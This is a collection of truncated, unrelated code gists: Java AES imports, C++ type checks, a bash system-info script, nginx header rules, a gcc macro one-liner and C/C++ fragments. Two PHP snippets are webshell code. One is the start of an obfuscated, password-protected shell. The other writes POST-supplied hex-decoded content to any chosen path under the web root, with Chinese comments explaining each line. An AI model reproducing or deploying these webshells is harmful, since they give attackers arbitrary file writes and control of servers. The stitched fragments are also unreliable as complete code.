suchasplus

import android.util.Base64;

import java.security.Key;
import java.security.MessageDigest;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;


public class MCryptAES {

suchasplus

#include <iostream>
#include <string>
#include <type_traits>

int main()
{
    std::string s;
    std::cout << std::is_same<decltype(s), std::string>::value << std::endl;
    char s2[] = "";
    std::cout << std::is_same<decltype(s2), std::string>::value << std::endl;

suchasplus

#!/bin/bash

noColor="\e[0m"
green="\e[1;32m"
yellow="\e[1;33m"

SystemDescription=$(lsb_release -d|sed -n 's/Description:[ \t]*\([a-zA-Z]*\)/\1/p')
SystemMachine=$(uname -m)
SystemKernel=$(uname -r)
SystemProcessor=$(uname -p)

suchasplus

//ngx_headers_more

location / {
    if ( $host = 'bp.biz.weibo.com' ){
        more_set_headers 'Server: Nginx';
    }
    if ( $host = 'tui.weibo.com' ){
        more_set_headers 'Server: Nginx_improved';
    }
    ....

suchasplus

#/bin/bash

#list predefined preprocessor symbols 
gcc -E -dM - < /dev/null

suchasplus

<?php
define('iphp','demo2'); //default password is : demo, 使用方法 按p 输入密码 或者 你保存的xx.php?password=demo
define('T','H*');
define('A','call');
define('B','user');
define('C','func');
define('D','create');
define('E','function');
define('F','file');
define('F1','get');

suchasplus

<?php
$f = realpath(dirname(__FILE__) . "/../") . $_POST["z1"]; //定义$f等于根目录的物理路径+$_POST[z1]的内容
$c = $_POST["z2"];  // 定义$c 等于$_POST[z2]的内容
$buf = ""; //定义$buf等于空
for ($i = 0; $i < strlen($c); $i+= 2) $buf.= urldecode("%" . substr($c, $i, 2)); //for循环次数是 $c长度/2 , 每循环一次就把%xx这样的编码给解码
@fwrite(fopen($f, "w") , $buf); //写入文件地址是$f,内容是$buf,也就是解码后的。
echo "allok"; 

/**
 * example:

suchasplus

#include <stdio.h>
#include <unistd.h>
#include <limits.h>
#include <sys/stat.h>
#include <fcntl.h>

int main(void)
{
    char c = 'c';
    int i;

suchasplus

#include <algorithm>
#include <iostream>
#include <iterator>

using namespace std;

template <typename T>
class range_type {
public:
    class range_iterator {